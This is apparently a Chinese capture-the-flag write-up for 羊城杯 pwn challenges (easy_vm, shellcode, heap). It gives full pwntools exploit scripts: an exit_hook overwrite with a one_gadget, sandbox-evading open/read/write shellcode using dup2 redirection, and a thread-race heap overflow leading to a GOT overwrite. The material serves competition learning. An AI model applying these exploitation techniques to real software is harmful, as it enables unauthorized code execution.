羊城杯wp

easy_vm

一道主要是对指针和exit_hook运用的题目,给出了几个运算方法,只能在一次输入后get shell

步骤如下

one_gadget需要free的指针减0x39C9FB

exit_hook需要free的指针加0x2302C0

1.qword_201038 = *qword_201040 2 (38赋值libc)

2.qword_201038 -= *(choice + 1) 7,0x39C9FB (38存onegadget)

3.*qword_201040 = qword_201038 1 (40内地址存onegadget)

5.qword_201038 += *(choice + 1) 6,0x39C9FB + 0x2302C0 (38内存exit_hook地址)

6.*qword_201038 = *qword_201040 3 (exit_hook内填one_gadget)2

from pwn import *
from ctypes import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p= process('/home/hacker/Desktop/easy_vm/pwn' )
#p = remote("47.108.165.60",30333)
​
payload = p64(2) + p64(7) + p64(0x39C9FB - 0x5d - 0xbaffa) + p64(1) + p64(6)
payload += p64(0x39C9FB -0x5d -0xbaffa + 0x2302C0) + p64(3)
gdb.attach(p)
pause()
p.sendlineafter("Inputs your code:",payload)
p.interactive()
​

shellcode

由于正常情况,沙箱需要过掉很多检测才会有初始化,所以我这里patch掉了exit这个,它就无论如何都可以执行到沙箱初始化函数了。

这里可以看出,write的文件描述符需要大于等于2,而read的需要小于等于2,这里也就是为什么要用到重定向的原因了。

脚本如下,第一段shellcode是为了执行一个read,然后写一段长的shellcode来绕过检查。然后因为沙箱,所以使用重定向的方法来orw。

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
​
#sh = remote('tcp.cloud.dasctf.com', 23583)
sh = process('/home/hacker/Desktop/shellcode/shellcode'  )
​
sh.sendafter(b'[2] Input: (ye / no)\n', asm('syscall'))
​
gdb.attach(sh)
pause()
sh.sendafter(b'[5] ======== Input Your P0P Code ========\n', asm(
'''
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi
pop rcx
pop rcx
pop rsp
pop rbp
push rbp
push rbp
push rbp
push rbp
push rbp
pop rdx
''').ljust(17, b'Y'))
​
pause()
payload = '\x90'*0x12
shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.dup2(3,2)
shellcode += shellcraft.read(2,'rsp',0x50)
shellcode += shellcraft.dup2(1,3)
shellcode += shellcraft.write(3,'rsp',0x50)
shellcode += shellcraft.exit(0)
​
​
​
payload = payload + asm(shellcode)
​
sh.send(payload)
​
sh.interactive()
​

heap

libc-got

先来看知识点,进入puts的调用,在full relro的情况下进入strlen的plt表

我们看一下call之后的情况

可以看出程序到了plt表内会进入.got.plt,我们再看看.got.plt

这个时候我们只需要将其改写成one-gadget即可

heap

主函数,每执行一次菜单创建一个线程

edit函数,漏洞出现sleep函数,这里是先会得到写的地址和大小再sleep,所以这样的话就出现了竞争。

每个paper有一个0x20的结构体来管理

struct paper{
    void *heap;
    int len;
}

如下脚本,线程竞争可造成堆溢出,控制结构体从而达到任意写,通过改偏移得到main_arena的值得到libc(这个可以通过search -p 引用来找找有没有libc在我们可以写到的地方,从而开始泄露),再通过打puts的libc_got为ogg即可

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p= process('./heap')
​
def add(content):
    payload = str(1) + " " + content.decode('utf-8')
    p.sendline(payload)
​
def show(idx):
    payload = str(2) + ' ' + str(idx)
    p.sendline(payload)
​
def edit(idx,content):
    payload = str(3) + ' ' + str(idx) + ":" + content.decode('latin-1', errors='replace')
    p.sendline(payload)
​
def delete(idx):
    payload = str(4) + ' ' + str(idx)
    p.sendline(payload)
​
​
add(b'a' * 0x63) #0
add(b'a' * 0x58) #1
add(b'a' * 0x58) #2
​
delete(1)
edit(0, b'b' * 0x60 + p16(0x8a0))
delete(0)
add(b'a' * 0x58) #control 2's construct
​
sleep(1)
show(2)
​
p.recvuntil('paper content: ')
main_arena = u64(p.recv(6).ljust(8,b'\x00'))
print("main_aren:",hex(main_arena))
​
main_arena_offset = 2202752
libc = main_arena - main_arena_offset
print("libc",hex(libc))
​
environ = libc + 2232832
​
strlen_plt_got_offset = 2199704
strlen_plt_got = libc + strlen_plt_got_offset
system_offset = 331104
system = libc + system_offset
one_gadget = libc + 0xebcf1
​
​
add(b'a' * 0x68)#1
​
​
add(b'a' * 0x68)#3
add(b'a' * 0x58)#4
add(b'a' * 0x58)#5
​
delete(4)
edit(3,b'b'*0x60 + p64(strlen_plt_got))
delete(3)
add(b'a'*0x58)
sleep(1)
​
#print("environ:",hex(environ)) #the last bit of environ is \x00
#show(5)
​
gdb.attach(p)
pause()
print("one_gadget:",hex(one_gadget))
edit(5,p64(one_gadget))
​
​
p.interactive()

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值